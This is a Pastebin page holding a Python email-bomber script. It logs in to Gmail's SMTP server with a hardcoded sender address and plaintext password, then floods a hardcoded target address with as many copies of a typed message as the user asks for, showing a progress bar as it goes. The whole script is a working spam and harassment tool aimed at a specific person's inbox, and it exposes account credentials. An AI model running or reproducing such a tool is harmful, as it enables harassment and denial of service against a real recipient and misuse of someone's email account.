Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import getpass
- import smtplib
- import time
- import os
- # FUNCTIONS
- def drawbar (percentage):
- if percentage == 0 or percentage < 0:
- return "[ ]"
- elif percentage >= 0 and percentage < 5:
- return "[ ]"
- elif percentage >= 5 and percentage < 10:
- return "[= ]"
- elif percentage >= 10 and percentage < 15:
- return "[== ]"
- elif percentage >= 15 and percentage < 20:
- return "[=== ]"
- elif percentage >= 20 and percentage < 25:
- return "[==== ]"
- elif percentage >= 25 and percentage < 30:
- return "[===== ]"
- elif percentage >= 30 and percentage < 35:
- return "[====== ]"
- elif percentage >= 35 and percentage < 40:
- return "[======= ]"
- elif percentage >= 40 and percentage < 45:
- return "[======== ]"
- elif percentage >= 45 and percentage < 50:
- return "[========= ]"
- elif percentage >= 50 and percentage < 55:
- return "[========== ]"
- elif percentage >= 55 and percentage < 60:
- return "[=========== ]"
- elif percentage >= 60 and percentage < 65:
- return "[============ ]"
- elif percentage >= 65 and percentage < 70:
- return "[============= ]"
- elif percentage >= 70 and percentage < 75:
- return "[============== ]"
- elif percentage >= 75 and percentage < 80:
- return "[=============== ]"
- elif percentage >= 80 and percentage < 85:
- return "[================ ]"
- elif percentage >= 85 and percentage < 90:
- return "[================= ]"
- elif percentage >= 90 and percentage < 95:
- return "[================== ]"
- elif percentage >= 95 and percentage < 100:
- return "[=================== ]"
- elif percentage >= 100:
- return "[====================]"
- # START
- os.system("clear")
- # TARGET & SENDER INFO
- print(' * Target: amferc@gmail.com')
- target = 'amferc@gmail.com'
- # LOGIN TO SERVER
- s = True
- while s == True:
- print(' * Sender: systemtheleet@gmail.com')
- print(' * Sender Password: ')
- print(' - Loging in to smtp.gmail.com ')
- sender = 'systemtheleet@gmail.com'
- sender_pwd = 'root1337'
- server = smtplib.SMTP('smtp.gmail.com', 587)
- server.starttls()
- try:
- server.login(sender, sender_pwd)
- print(' - Sucessfully logged in as', sender, '\n')
- s = False
- except:
- print(' - Error loging in to smtp.gmail.com\n')
- # EMAIL FORMAT
- message = input(' * Message: ')
- emailnum = int(input(' * Number of emails: '))
- # THE ACTUAL PROCESS
- percentone = 100 / emailnum
- i = 0
- start_time = time.time()
- while i <= emailnum:
- try:
- server.sendmail(sender, target, message)
- os.system("clear")
- i = i + 1
- elapsed_time = time.time() - start_time
- n2=int(elapsed_time/3600)
- n3=elapsed_time%3600
- n4=int(n3/60)
- n5=n3%60
- n6=int(n5)
- txt = "{} sent | {} total | {:0>2.0f}:{:0>2.0f}:{:0>2.0f} elapsed".format(i, emailnum, n2, n4, n6)
- print("\n| {:^45} |\n\n| {} {:>6.2f} % |\n\n| {:^45} |".format(target, drawbar(percentone*i), percentone*i, txt))
- except:
- os.system("clear")
- elapsed_time = time.time() - start_time
- n2=int(elapsed_time/3600)
- n3=elapsed_time%3600
- n4=int(n3/60)
- n5=n3%60
- n6=int(n5)
- txt = "{} sent | {} total | {:0>2.0f}:{:0>2.0f}:{:0>2.0f} elapsed".format(i, emailnum, n2, n4, n6)
- print("\n| {:^45} |\n\n| [{:^20}] {:>6.2f} % |\n\n| {:^45} |".format(target, "ERROR", drawbar(percentone*i), percentone*i, txt, n2, n4, n6))
- time.sleep(0.25)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement